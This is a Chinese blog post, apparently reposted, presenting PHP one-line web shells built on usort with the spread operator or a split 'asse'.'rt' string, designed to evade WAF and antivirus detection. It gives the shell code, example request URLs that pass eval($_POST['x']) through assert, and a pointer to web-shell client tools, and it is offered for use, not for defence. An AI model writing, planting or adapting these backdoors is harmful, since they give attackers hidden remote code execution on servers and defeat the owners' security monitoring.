PHP免杀一句话能秒99%的WAF防火墙

开始

原谅我见识短,没用过usort函数

上面连接的文章中,发现有这个函数

于是刚刚了解了下usort函数

usort函数干嘛的?

官方介绍:http://php.net/manual/zh/function.usort.php

通俗点说就是一个稍微复杂点的数组,如果用php自带的函数不是很方便

所以用户可以自己定义一个函数,然后使用usort函数来进行回调

1

2

3

4

5

6

7

8

9

10

<?php

function my_sort($a,$b){

    if ($a==$b){

        return 0;

    }else{

        return ($a<$b)?-1:1;    

    }

}

$list = array(4,2,8,6);

usort($list,'my_sort');

第一个参数必须是数组

第二个参数是函数名称

usort函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参

然后php会判断my_sort函数的返回值

如果为0,则位置不变

如果为-1.则$a位置和$b不变

如果为1,则$a位置和$b互换

有趣的来了

开始里面的文章中,讲到了一个php5.6的新特性

…运算符,对就是三个点

官方介绍:http://php.net/manual/zh/migration56.new-features.php

该运算符可以将数组或者可遍历的对象展开变为参数

不过必须是索引数组哦~~~

举个栗子

1

2

3

4

5

<?php

$list = [1,2,3];

var_dump($list);

echo "========\n";//

var_dump(...$list);

返回结果如下

1

2

3

4

5

6

7

8

9

10

11

12

array(3) {

  [0]=>

  int(1)

  [1]=>

  int(2)

  [2]=>

  int(3)

}

========

int(1)

int(2)

int(3)

编写一句话

先放出最终的代码

1

<?php usort(...$_GET);?>

那么$_GET变量中的值,应该是

1

[['$a=0','eval($_POST["x"])'],'assert'];

$_GET[0]是usort的第一个参数

$_GET[1]是usort的回调函数名

也就相当于

1

<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>

,php免杀大马,免杀大马

最终利用是这样的

1

http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert

我自己本地环境测试成功了~~~

应该能过什么安全狗啊啥的

上面的一句话,只能在php环境>=5.6才能用

于是更新下,环境>=<5.6都可以的一句话

1

<?php usort($_GET,'asse'.'rt');?>

使用方法

1

http://www.url.com/test.php?1=1+1&2=eval($_POST[x])

过狗一句话如果连不上用过狗菜刀xise
原文地址《 php免杀一句话能秒99%的waf防火墙

http://caidaome.com/?post=85

猜你喜欢

转载自blog.csdn.net/caidaome/article/details/84137518
今日推荐